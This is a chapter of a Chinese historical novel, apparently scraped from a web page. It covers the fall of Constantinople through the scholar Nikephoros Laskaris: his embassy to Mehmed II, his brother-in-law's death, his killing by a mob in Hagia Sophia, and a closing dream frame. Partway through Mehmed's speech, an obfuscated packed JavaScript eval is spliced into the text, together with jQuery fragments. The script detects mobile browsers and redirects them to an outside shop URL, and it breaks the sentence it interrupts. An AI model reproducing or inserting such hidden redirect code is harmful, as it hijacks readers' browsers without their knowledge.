“我知道。”皇帝点头，“我知道和谈会失败。但这不是重点，重点是让你离开，你是这座城市内部矛盾的焦点，只要你在，士兵就会争吵，民众就会愤怒，狂热信徒就会散布预言，我需要你离开，让我有机会重新统一守军的意志，哪怕只是暂时的。”
尼科弗鲁斯明白了。皇帝要把他作为祭品献出，献给愤怒的民众。通过送走拉丁的走狗，皇帝试图安抚内部，集中力量进行最后的抵抗。
“如果我不去呢？”
皇帝的手按在剑柄上。
“那么我可能会被迫采取……更极端的手段。为了城市，尼科弗鲁斯，为了还有一线生机的城市。”
房间里安静下来。远处又传来炮击的轰鸣，这次更近，更响，书房墙上的灰泥簌簌落下，在桌上积了一层薄薄的灰尘。
尼科弗鲁斯看着皇帝，这位他侍奉的君主，这位他曾经相信能够带领帝国复兴的明君，这位现在正要求他牺牲最后一点尊严和生命来完成自己角色的人。他感到一种奇怪的超然的平静，就像一座桥在被洪水冲垮的前一刻，终于停止抵抗，接受了自己的命运。
“我会去。”他说，“但我有一个条件。”
“说。”
“如果我有机会和穆罕默德二世交谈，我会告诉他真相。关于这座城市，关于我们的分裂，关于西方抛弃了我们。只是作为……一个学者对另一个学者的陈述。”
皇帝的眼神柔和了一瞬，像是同情：“为什么？”
“因为我想知道。”尼科弗鲁斯说，“我想知道，在征服者的眼中，我们这场悲剧看起来是什么样子。我想知道，我的错误——如果它是错误的话——在天平上有多重。我想知道，理性在完全由力量和信仰统治的世界里，到底有什么价值。”
“我答应，准备吧，明天日出时出发，带上白旗和我的信，愿上帝……不，愿你的理性与你同在，尼科弗鲁斯。”
离开皇宫时，天已经黑了，尼科弗鲁斯没有直接回家——那已经不是家了，只是一个他和安娜共同居住的空壳——而是走到了圣索菲亚大教堂，夜晚的教堂几乎空无一人，只有几个老妇人在角落的圣像前祈祷，她们的影子在烛光中拉得很长。
他走到教堂中央，抬头望向穹顶。在昏暗的光线中，基督的面容几乎看不见，只有那双巨大的、悲悯的眼睛似乎还在凝视下方。尼科弗鲁斯想起佛罗伦萨联合弥撒那天的情景，想起拉丁神父手中的无酵饼，想起那些石头，想起马卡里奥斯的诅咒。
他跪下来，当然，这当然不是祈祷——他已经不知道可以向谁祈祷——而是思考。思考他的一生，他的选择，他的错误。“美德是一种中庸，在于两个极端之间的恰当位置。”但他的一生似乎证明，在某些历史时刻，没有中庸的位置。只有极端的选择：绝对的信仰或绝对的实用，纯洁的死亡或妥协的生存，桥的这边或那边。
而他在桥上站得太久了。
“您在这里。”
一个熟悉的声音从身后传来。尼科弗鲁斯转身，看见安娜站在不远处，裹着一件黑色的披风。
“你怎么知道我在这里？”
“我总能找到你。”她走近，在他身边跪下，“就像你总能找到问题，找到论证，找到那些永远没有答案的答案。”
他们并排跪着，像两个在圣像前祈祷的信徒，但谁也没有祈祷。
“我要去奥斯曼军营，”尼科弗鲁斯说，“明天。”
安娜没有惊讶，只是轻轻点头：“我知道。莱昂尼达斯也猜到了。他说皇帝会把你送走，作为安抚民心的祭品。”
“他是对的。”
沉默。远处又传来炮击声，这次教堂的彩色玻璃窗轻微震动，发出细碎的响声。
“我们的孩子，”安娜突然说，“如果是男孩，我想叫他狄奥多西；纪念建造城墙的皇帝。如果是女孩，我想叫她索菲亚，纪念这座教堂，纪念智慧。”
“如果我能回来…”
“你不会回来了。”安娜的声音平静，“即使穆罕默德不杀你，这座城市也不会再接受你，你已经成了裂痕本身，尼科弗鲁斯，而裂痕必须被缝合，或者被撕开得更彻底。”
她转向他，烛光在她的眼睛里闪烁：
“你知道我最后悔什么吗？我最后悔的是，我从未完全理解你，我爱你，我尊敬你，我支持你，但我从未真正理解你那种想要，想要拯救一切的渴望。对我来说，世界更简单：我爱的人，我恨的人，我保卫的东西，我放弃的东西。但对你来说，一切都是复杂的，一切都是相互联系的，一切都可以通过理性和对话来解决。”
她的手轻轻触碰他的脸颊：
“也许你是对的，尼科弗鲁斯，也许在另一个世界，在另一个时间，你的方式会成功，但这个世界不是那个世界，这个时间不是那个时间，你是春天的种子落在了冬天的土壤里，你注定不会发芽，只会冻结。”
尼科弗鲁斯握住她的手。
“如果我错了，”他低声说，“如果我所有的努力都只是加速了毁灭，那么我至少希望……至少希望我的错误是有意义的。至少希望后来者能看到，并避免重蹈覆辙。”
安娜微笑，一个悲伤的，美丽的微笑：“也许这就是桥梁意义，让桥两边的人看到彼此的距离，看到跨越的不可能。然后，也许，他们会学会在各自的岸边好好生活。”
她站起身，披风被风又吹起：
“再见，尼科弗鲁斯。再见，我的丈夫。再见，我的智者……我的悲剧。”
她离开了，尼科弗鲁斯独自跪着，直到烛火熄灭，直到黑暗完全吞没圣索菲亚的穹顶，直到基督的眼睛消失在阴影中。
-
奥斯曼军营的规模超出了尼科弗鲁斯最悲观的想象。它不是一个营地，是一座移动的城市：成千上万的帐篷像灰色的蘑菇般覆盖了原本是农田的土地，马车和火炮排成整齐的队列，士兵们围绕篝火坐着，磨刀、祈祷、进食，动作中透露出一种令人心悸的纪律性和目的性。空气中有烟味、马粪味、烤肉味和某种更原始的东西：十万个男人聚集在一起准备征服的味道。
尼科弗鲁斯手持白旗，在一队奥斯曼骑兵的护送下穿过营地。士兵们看着他，他们中有些是土耳其人，有些是塞尔维亚人，有些是希腊人——来自已经被征服的拜占庭领土。这些希腊士兵尤其避免与他对视。
营地中央是苏丹的大帐，一座用红色和金色丝绸搭建的宏伟帐篷，周围环绕着禁卫军士兵——苏丹的私人精锐部队，从基督教家庭抢来的男孩培养而成，完全忠诚，完全无情。他们戴着标志性的高顶帽，手持长矛，站得笔直。
尼科弗鲁斯被带进大帐，内部比外面看起来更大，地面铺着昂贵的地毯，空气中弥漫着香料的味道。帐篷中央，穆罕默德二世坐在一张简单的木椅上，身旁没有华丽的宝座，只有一张堆满地图和书籍的桌子。这位征服者年仅二十一岁，但眼神中有一种远远超越年龄的沉思。他穿着朴素的绿色长袍，头戴简单的头巾，手中拿着一卷书——尼科弗鲁斯认出那是希罗多德的《历史》。
“尼科弗鲁斯·拉斯卡里斯。”苏丹用流利的希腊语说，声音平静而清晰，“我读过你的《论东西方教会联合的可能性》。一篇精彩的论文。你的逻辑运用得令人印象深刻，你对早期著作的掌握也很全面。”
尼科弗鲁斯微微鞠躬：“陛下过誉，我没想到我的小作会传到您的书桌上。”
穆罕默德微笑：“我收集一切关于我要征服的土地的信息。地理、历史、军事、文化……还有神学。了解一个民族的信仰，就是了解他们的灵魂。而了解他们的灵魂，就是了解如何征服他们，或者如何让他们屈服。”
他示意尼科弗鲁斯坐下。仆人端来咖啡——一种苦涩的黑色饮料，在君士坦丁堡还很少见。尼科弗鲁斯接过，小口啜饮。
“那么，”穆罕默德放下书，双手交叠放在膝上，“君士坦丁皇帝派你来，是希望我大发慈悲，停止围攻，让他的城市继续存在吗？”
“皇帝派我来进行最后一次外交努力。”尼科弗鲁斯说，声音尽量保持平稳，“提出条件，拜占庭帝国愿意成为奥斯曼的附庸，每年进贡，提供军队，承认苏丹的宗主权。只求保留君士坦丁堡作为基督教城市，保留圣索菲亚作为教堂。”
穆罕默德静静听着，脸上没有任何表情。当尼科弗鲁斯说完，他沉默了片刻，然后轻轻摇头：
“不。”
“为什么？”他问，尽管知道答案。
苏丹站起身，走到帐篷边缘，拉开一面帘子。外面，军营的景象延伸至地平线，而在更远处，君士坦丁堡的城墙在晨光中清晰可见，一道脆弱的线条。
“看到那些城墙了吗？”穆罕默德说，“狄奥多西城墙。世界上最坚固的城墙之一。一千年来，它抵挡了二十多次围攻。阿拉伯人、保加利亚人、罗斯人、十字军……所有人都曾站在它面前，所有人都失败了。”
“但现在，我在这里。我有世界上最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148990|196364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大的火炮。我有十万大军。我有无限的决心。我知道这座城市必须被征服，不是因为它的财富，不是因为它的战略位置，甚至不是因为它是基督教世界的象征。而是因为它是一个障碍。”
“障碍？”
“是的，障碍。我的帝国横跨欧亚，但它分裂成两部分：安纳托利亚和鲁米利亚。中间是博斯普鲁斯海峡。只要君士坦丁堡还存在，只要这个基督教城市还卡在我要道的咽喉处，我的帝国就是分裂的。它必须被移除。”
他直视尼科弗鲁斯：
“你的皇帝提出的条件——附庸、进贡、承认宗主权——这些在五十年前可能有用。但现在不行了。因为问题不在于政治安排，而在于地理和象征意义。君士坦丁堡必须成为□□的君士坦丁堡，圣索菲亚必须成为清真寺，新月必须取代十字架。只有这样，我的帝国才能完整，我的统治才能合法，我的名字才能与亚历山大大帝和凯撒并列。”
尼科弗鲁斯看到了一个冷酷的现实。
穆罕默德二世也是一个理性主义者，一个战略家，一个计划者。
但他将理性完全服务于一个单一的目的：征服。
而在这种纯粹的目的性面前，尼科弗鲁斯自己的理性——分散的、调和的、试图满足所有人的理性——显得软弱而无效。
“那么就没有希望了。”他说。
“对你和你的城市来说，没有。”穆罕默德同意，“但对你个人，也许还有一点东西。”
尼科弗鲁斯抬起头。
苏丹再次拿起那卷《论东西方教会联合的可能性》，轻轻翻动书页：
“我在你的书中看到了我自己，拉斯卡里斯。一个试图用逻辑规划未来的人。但我们的区别在于，我知道有些东西无法通过论证获得，只能通过力量获得。我知道有些问题无法通过妥协解决，只能通过征服解决。”
“你犯了一个错误。你相信道理能说服人。我的士兵为战利品和信仰而战——战利品满足他们的□□，□□信仰满足他们的灵魂。你的同胞为他们的信仰而战——东正教，那种你试图稀释但反而激怒他们的信仰。而你，你为道理而战。为逻辑，为妥协，为一个既非完全东方也非完全西方的基督教理想。”
“道理，在刀剑和狂热面前，薄如蝉翼。你是一座石桥，尼科弗鲁斯，用最上等的大理石建造，有最优雅的拱券，最精确的比例，在和平时期，在河水温和流淌时，这样一座桥是文明的奇迹，是理性的胜利。但现在是洪水时期。暴雨倾盆，河流暴涨，两岸的土地都在崩塌。人们要么冲向桥这边，要么冲向桥那边。他们奔跑，他们战斗，他们为各自的岸边而战。而你呢？你站在桥中央，呼吁他们停下来，听听关于桥梁结构的演讲，关于两岸和解的可能性。”
他摇了摇头：
“没有人会留在桥上，桥，注定要被冲垮。不是因为它建造得不好，而是因为它建造得太好了——太好了，以至于与洪水的本质相悖。在毁灭的时刻，需要的是壁垒，是绝对的立场，是简单的选择案。”
尼科弗鲁斯静静听着。
“所以我的整个人生，”他最终说，“是一场错误？”
“不。”苏丹纠正，“是一场美丽的尝试，大多数尝试都会失败，但重要的是尝试本身，是它揭示的东西。”
穆罕默德走到帐篷的另一侧，拉开另一个帘子。外面，巨大的乌尔班火炮正在装填，士兵们忙碌着。
“我会给你一个选择，尼科弗鲁斯。”苏丹说，“留在这里，为我服务，你的学识，你对基督教世界的了解，你对希腊和拉丁文化的掌握……这些对我管理即将征服的领土很有价值，你可以活下去，继续研究，继续写作，甚至可能以另一种方式实现你调和东西方的梦想——在□□统治下，让希腊文化和□□文化融合。”
这个提议并不意外。征服者总是需要被征服者的智者来帮助统治，而且从纯粹理性的角度，这个选择有道理：活下去，继续工作，在新时代找到自己的位置。历史上很多人做过这样的选择。
但他想起了圣索菲亚的寂静，想起了安娜眼中的泪水，想起了莱昂尼达斯放在餐桌上的剑，想起了马卡里奥斯关于灵魂和身体的区分。
想起了皇帝关于“名誉是帝国必须支付的代价”的话。
最重要的是，他想起了自己的本质。
他是一座桥。
而桥的功能不是选择岸边，而是连接它们。
如果连接不再可能，那么桥的存在本身就失去了意义。
“感谢您的慷慨，陛下。”他说，声音平静而清晰，“但我必须拒绝。”
穆罕默德脸上只有淡淡的遗憾：“为什么？因为信仰？因为忠诚？因为某种我无法理解的基督教原则？”
“因为完整性。”尼科弗鲁斯说，“一座桥，如果它放弃连接的功能，选择成为某一岸的一部分，那么它就背叛了自己的本质，它就不再是桥，只是一堆石头。而我……我已经失去了太多，我不能再失去最后的这一点：我的本质，即使那本质是注定要毁灭的。”
苏丹凝视他良久，最终点头：
“我理解，或者说，我尊重我不理解的东西，你可以回到城市，告诉你的皇帝：我有两个提议给他。第一，无条件投降，打开城门，那样的话，我会保证居民的生命财产安全，保证基督教信仰可以继续实践——当然，是在□□统治下。第二，抵抗到底。那样的话，按照战争的古老法律，城破后，士兵可以掠夺三天。”
“他会选择抵抗。”
“我知道。”穆罕默德微笑，“而我会尊重他的选择，就像我尊重你的选择一样——你的皇帝将成为基督教世界的最后一位英雄，而我将成为□□世界的新凯撒。这是一场完美的悲剧，拉斯卡里斯，而我们所有人都是其中的演员。”
尼科弗鲁斯鞠躬，准备离开，但在帐篷口，他停顿，问了一个他一直想问的问题：
“陛下，在您看来，我们的文明——拜占庭文明——为什么会失败？是因为腐败？是因为衰弱？是因为分裂？”
穆罕默德思考了片刻，说：
“不。是因为你们太成功了，你们成功地将希腊的理性、罗马的法律和基督的信仰融合成一个辉煌而复杂的整体。你们建造了一座如此精美、如此自足、如此内部和谐的文明宫殿，以至于你们忘记了宫殿外面的世界在变化，你们花了太多时间争论宫殿内部墙壁的颜色，而忘记了宫殿本身正在地基上崩塌。”
他指向帐篷外君士坦丁堡的方向：
“看看你们的城市，它有一千年的历史，有世界上最伟大的教堂，有最丰富的图书馆，有最精妙的神学，但它被只有一百年历史的我的帝国围困，即将陷落。这不是因为你们比我们愚蠢或懦弱，而是因为你们被自己的成功所困，被自己的传统所束缚，被自己的复杂性所麻痹——而我，我来自草原，来自边疆，来自一个简单而饥饿的世界。我没有你们那么多需要保护的东西，所以我更自由，更灵活，更致命。”
“文明像老人，征服像青年。老人有智慧，有记忆，有尊严。但青年有力量，有欲望，有未来。而历史总是偏爱青年，因为历史本身就是关于未来，不是关于过去。”
尼科弗鲁斯离开了奥斯曼军营，手持白旗，在同样的骑兵护送下返回君士坦丁堡。回程的路上，他注意到城墙上的新缺口更多了，修补的速度跟不上破坏的速度。他还注意到城墙上士兵的举止：更加疲惫，更加绝望，争吵也更多了。
在城门前，守军放下吊桥让他进入。一位他认识的军官——不是莱昂尼达斯，而是另一个——在城门内等他，脸色阴沉。
“拉斯卡里斯大人。您弟弟……”
“莱昂尼达斯怎么了？”尼科弗鲁斯感到一阵不祥的预感。
军官避开他的目光：“今天清晨，土耳其人发起了一次试探性攻击，在查瑞休斯门，莱昂尼达斯长官带领反击，想把他们赶回护城河对岸，但……但他的部分士兵拒绝服从命令。他们说，只要拉丁走狗还在皇帝身边，他们就不会全力战斗。”
“然后呢？”
“然后莱昂尼达斯长官独自冲了出去。他说：‘如果你们不愿为城市而战，至少看我为一个士兵的荣誉而死。’他杀死了十几个土耳其人，最后被弓箭射中……我们抢回了他的尸体。”
尼科弗鲁斯闭上眼睛。
莱昂尼达斯，骄傲的、绝对的莱昂尼达斯，独自冲向敌人，因为原则，因为荣誉，因为对妥协的彻底拒绝；而这一切，间接地，因为尼科弗鲁斯自己，因为他的佛罗伦萨联合，因为他试图建造的桥梁。
“他的尸体在哪里？”
“送到他的家族礼拜堂了。您的夫人……她也在那里。”
尼科弗鲁斯没有去皇宫报告和谈结果。
他直接走向家族的礼拜堂，一座小型石砌建筑，靠近城墙，里面安葬着科穆宁家族几代人的遗骨。
门半开着，他走进去，看见安娜跪在一具简单的木棺前，莱昂尼达斯的尸体已经清洗过，换上了干净的军装，双手交叠放在胸前，握着他的剑。他的脸上没有痛苦，只有平静，像终于找到了答案的人。
安娜没有转身，但知道是他：“你回来了。”
“我回来了。”
“和谈失败了。”
“是的。”
“莱昂尼达斯死了。”
“我知道。”
安娜转身，她的脸上也只有平静。
她的眼睛看着尼科弗鲁斯，但焦点似乎在更远的地方，在某个他们三人都无法到达的地方。
“他死前说了什么吗？”尼科弗鲁斯问。
安娜点头：“他说：‘告诉尼科弗鲁斯，我原谅他。不是因为他对了，而是因为我们都错了。他错在相信可以调和不可调和之物，我错在相信可以纯洁地死在一个已经不纯洁的世界，我们都在为已经消失的东西而战。’”
尼科弗鲁斯跪在棺木的另一侧，看着莱昂尼达斯的脸。这个曾经威胁要杀他的年轻人，这个因为原则而恨他的人，这个他的妻子的弟弟，这个拜占庭的最后士兵。
在某种意义上，莱昂尼达斯是幸运的。他死得简单，死得明确，死在他的信仰和荣誉中。他没有活着看到自己捍卫的东西的最终结局。
而尼科弗鲁斯还活着，还要继续看到最后。
“安娜，”他说，“我……”
“不要。”她轻声说，“不要道歉，不要解释，只是在这里，和我一起，为我的弟弟祈祷，为我们未出生的孩子祈祷，为这座即将死亡的城市祈祷。”
他们一起跪着，在昏暗的礼拜堂里，在莱昂尼达斯的尸体旁，在科穆宁家族历代祖先的遗骨环绕中。
尼科弗鲁斯试图祈祷，但他发现他已经不知道如何祈祷了。
他的理性，那曾经是他最可靠的工具，现在成了障碍。
他无法简单地相信，无法简单地接受，无法简单地祈求。
他只能跪着，沉默地等待。
屋外，炮击再次开始。
安娜突然开口，声音轻得像耳语：
“尼科弗鲁斯，我要离开这座城市。”
“什么？怎么离开？海上封锁已经完成，陆地被包围……”
“热那亚人。”她说，“弗朗切斯科，那个指挥官。他同意带我走，作为，作为对他带来的七百个士兵的补偿。他的船明天清晨趁雾离开，尝试突破封锁。”
“但这是冒险！你可能死在海上！”
“留在这里更可能死。”安娜平静地说，“而且不仅仅是死。是被掠夺，被奴役，看着圣索菲亚被亵渎，看着我们的孩子——如果他能出生——在一个没有十字架的世界长大。”
她握住他的手，这次握得很紧，像溺水者抓住浮木：
“跟我一起走，我们可以去意大利，去罗马，你可以继续你的工作，继续建造桥梁，也许在西方，在教皇的直接保护下，你的理想还有实现的可能。”
这是一个诱人的提议。
逃离，生存，继续工作，在新的土地上尝试旧日的理想。
这有道理，有逻辑，甚至有某种诗意：从东方到西方，从陷落的帝国到崛起的教会中心，继续他毕生的事业。
但尼科弗鲁斯看着莱昂尼达斯的脸，看着那平静的、已经超越所有争辩的脸。
他想起了苏丹的话。
“一座桥，如果它放弃连接的功能，选择成为某一岸的一部分，那么它就背叛了自己的本质。”
如果他逃到西方，他就选择了桥的一边，他就承认了连接的不可能，他就放弃了他一生试图证明的东西：
东西方可以在中间相遇，可以在互相尊重的基础上共存。
更重要的是，如果他逃跑，莱昂尼达斯的死就失去了意义。
这个年轻人死于原则，死于对妥协的拒绝。
而尼科弗鲁斯如果现在妥协，如果为了生存而逃跑，那么他就证明了莱昂尼达斯是对的：妥协最终会导致背叛，不仅背叛信仰，也背叛那些坚持信仰的人。
“我不能。”他最终说，声音中同样有一种他自己都惊讶的平静，“我必须留在这里，完成我的角色。”
安娜看着他，眼睛里终于涌出了泪水。
“那么这是我们最后一次见面了。”她说。
“也许在另一个世界。”
“如果有另一个世界。”
他们拥抱，一个漫长而沉默的拥抱，包含了他们婚姻中所有未说出口的话语，所有未能实现的梦想，所有被历史碾碎的温柔。
然后安娜放开他，最后一次亲吻莱昂尼达斯的额头，转身离开了礼拜堂，没有回头。
尼科弗鲁斯独自留在黑暗中，跪在死去的妻弟身旁，听着远处持续不断的炮击声，想着已经离开的妻子和未出生的孩子，感受着自己心脏缓慢而沉重的跳动。
-
1453年5月29日，凌晨。
炮击已经持续了四十八小时不间断，圣罗马努斯门附近的城墙终于出现了一个无法修补的缺口，奥斯曼士兵如潮水般涌入，首先是普通的步兵，然后是禁卫军精锐。守军——希腊人、意大利人、威尼斯人、热那亚人——进行了绝望的抵抗，但在压倒性的数量和持续的攻击下，战线开始崩溃。
尼科弗鲁斯从皇宫的高塔上看到了这一切。
他没有像其他人一样试图逃跑或寻找藏身之处，而是平静地走下塔楼，穿过空荡的街道，走向圣索菲亚大教堂。街道上已经出现了第一批掠夺者——城市内部的暴徒，趁乱抢劫商店和住宅。火焰开始在多个地点燃烧，黑烟升入黎明前的天空，与炮火的硝烟混合，形成一片不祥的乌云。
圣索菲亚的大门敞开着。教堂内部挤满了人，最后一批绝望的人，相信在上帝的殿堂里能找到庇护，或者至少能死在一个神圣的地方。东正教司祭正在进行最后的弥撒，用希腊语快速而激动地诵念祷文。信徒们跪在地上，哭泣，祈祷，拥抱彼此，等待最终的命运。
尼科弗鲁斯走进来时，引起了一阵骚动。
人们认出了他，愤怒的低语如野火般蔓延。
“拉丁走狗！”
“叛徒！”
“他带来了这场灾难！”
他没有理会，继续走向教堂中央，走向穹顶正下方的位置——那里曾经是皇帝加冕的地方，是宇宙的中心，是上帝与人类相遇的象征点。
他站定，展开双臂，形成一个十字架的形状。
人群的愤怒在聚集。
一位老修士指着他喊道：“就是他！他就是那个出卖我们的人！他带来了拉丁仪式，他分裂了城市，他让上帝离弃了我们！”
人们开始向他逼近，男人，女人，甚至孩子。他们的眼中燃烧着一种纯粹的怒火，对内部敌人的怒火，对背叛者的怒火，对那个他们认为导致了这一切灾难的人的怒火。
尼科弗鲁斯没有后退，没有辩解，没有试图用理性说服他们，他知道那已经没用了。
话语的时间已经结束，现在是行动和暴力的时间。
他看着这些愤怒的脸。他看到了那个曾经向他扔石头的孩子，现在已经长大了一些，脸上是成人般的仇恨。他看到了那个在联合弥撒上哭泣的老妇人，现在她的眼泪已经干涸，只剩下冰冷的愤怒。他看到了商人、工匠、士兵、修士——所有那些因为他毕生的事业而感到被背叛的人。
拜占庭帝国注定要陷落，不是因为他，而是因为它已经耗尽了历史赋予它的时间。
他的佛罗伦萨联合没有导致陷落，它只是让陷落的方式更加痛苦，更加具有讽刺意味，更加像一个完美的悲剧。
人群越来越近。
有人捡起了地上的石头——圣索菲亚正在进行的维修留下的碎石，有人拿起了木棍，有人举起了匕首。
尼科弗鲁斯看着他们，声音平静：
“你们是对的。我是一座失败的桥，现在，用你们的愤怒，把我当作最后一块石头，投向敌人吧，至少，这次我的坠落，能属于拜占庭。”
第一块石头击中了他的胸口。然后是第二块，第三块。木棍打在他的背上，匕首刺入他的腹部。他没有抵抗，没有倒下，继续站着，双臂展开，像一座正在被拆除的桥，石块一块块脱落，拱券一段段崩塌，但结构本身还在坚持最后的时刻，直到重力最终胜利。
在意识逐渐模糊的过程中，他看到了幻象。
他在修道院的图书馆里，阳光透过彩色玻璃，年轻的脸上充满对知识的渴望。
他在佛罗伦萨的会议厅里，与红衣主教辩论，相信话语可以改变世界。
他在皇帝面前，接受那个将毁灭他的使命。
他在安娜面前，看到她眼中逐渐消失的爱。
他在苏丹面前，听到关于桥和洪水的寓言。
他在莱昂尼达斯的尸体前，理解了一些无法用理性表达的东西。
最后，他看到了圣索菲亚的穹顶，那个巨大的、圆形的、包容一切的穹顶，象征着上帝对世界的拥抱。但此刻，穹顶开始破裂，不是从外部被打破，而是从内部，从那些他试图连接但反而激怒的人的手中。石块落下，马赛克剥落，基督的面容碎裂，光线涌入，普通的、无意义的、物理的光。
然后一切都暗了。
几分钟后，奥斯曼士兵冲入圣索菲亚。
他们看到的是一地尸体——有些是在最后的抵抗中被杀，有些是自杀，有些是被暴徒杀害。
包括尼科弗鲁斯的尸体。
他已经无法辨认，与众多其他尸体混在一起。
-
“我们进入大教堂时，里面已经安静了。地上躺着很多人，有的还活着，但大多死了。最奇怪的是一个男人的尸体，在教堂正中央，双臂展开，像十字架，也像鸟的翅膀。他的脸已经被毁得认不出来，但不知为何，我觉得他死时是平静的，甚至是满足的。”
-
同一天晚些时候，穆罕默德二世骑马进入圣索菲亚，他下令停止掠夺，命令将教堂改为清真寺。工人们开始覆盖基督教图像，搭建米哈拉布，悬挂新月标志。
在清理尸体时，没有人特别注意到尼科弗鲁斯。他的尸体被与其他数百具尸体一起运出城外，埋葬在一个集体墓穴中。没有墓碑，没有名字，没有记录。他就这样消失了，像他一生试图建造的那座桥一样，被历史的洪水冲走，没有留下痕迹。
在罗马，安娜生下一个男孩。她按照约定，给他取名狄奥多西。孩子健康，但安娜在分娩后不久去世。
狄奥多西被弗朗切斯科收养，在热那亚长大，后来成为一位学者，专门研究拜占庭历史。他写了一本书，名为《帝国的最后日子》，其中有一章专门讨论“佛罗伦萨联合的悲剧性后果”。在那一章中，他提到了尼科弗鲁斯·拉斯卡里斯，当然，并不是作为父亲（他不知道这个关系），是作为一个典型案例：一个有智慧、有善意、有远见的人，如何因为试图调和不可调和之物，而加速了他试图避免的灾难。
书的最后一段写道：
“有时，文明的黄昏需要的不是更聪明的解决方案，而是接受必然毁灭的勇气，以及在毁灭中如何保持人之为人的尊严。拜占庭的陷落不是由于缺乏智慧或勇气，而是由于在应该选择立场的时候选择了妥协，在需要绝对信念的时候保持了相对理性。尼科弗鲁斯·拉斯卡里斯是这个悖论的最佳体现：他越是运用理性试图拯救帝国，就越是暴露出理性的极限；他越是建造桥梁试图连接分裂，就越是凸显分裂的深刻。他是一座石桥，可建在错误的河流上，在错误的季节。而历史，如洪水般无情，冲走了桥，冲走了建桥的人，只留下一个教训：在某些时刻，拯救不是关于连接两岸，而是关于选择一边，然后全心全意地站在那一边，即使那意味着与另一边一起沉没。”
-
苏比在梦境里挣扎的时间过于长了，以至于他醒来的时候，已经能够看到屋外的阳光照到房间的夹角。
他认为尼科弗鲁斯·拉斯卡里斯实在愚蠢，可是他却不知道自己作为尼科弗鲁斯·拉斯卡里斯的时候还能做些什么。
但是说实话，他认为所有人都很蠢。
“尼科弗鲁斯试图同时对三者忠诚，结果对三者都构成背叛，”他对夏洛特说，只有夏洛特喜欢听这些，“但是他仍有可贵的品质，但这样的品质是否会变成加速毁灭的毒药？”
夏洛特微笑着为他倒了一杯茶：“尼科弗鲁斯的悲剧不在于他错了，而在于他在一个错误的时间，做了一件正确的事。”
“而最可怕的是，”艾米莉说，“我们永远无法事先知道，自己所处的时代到底需要什么。”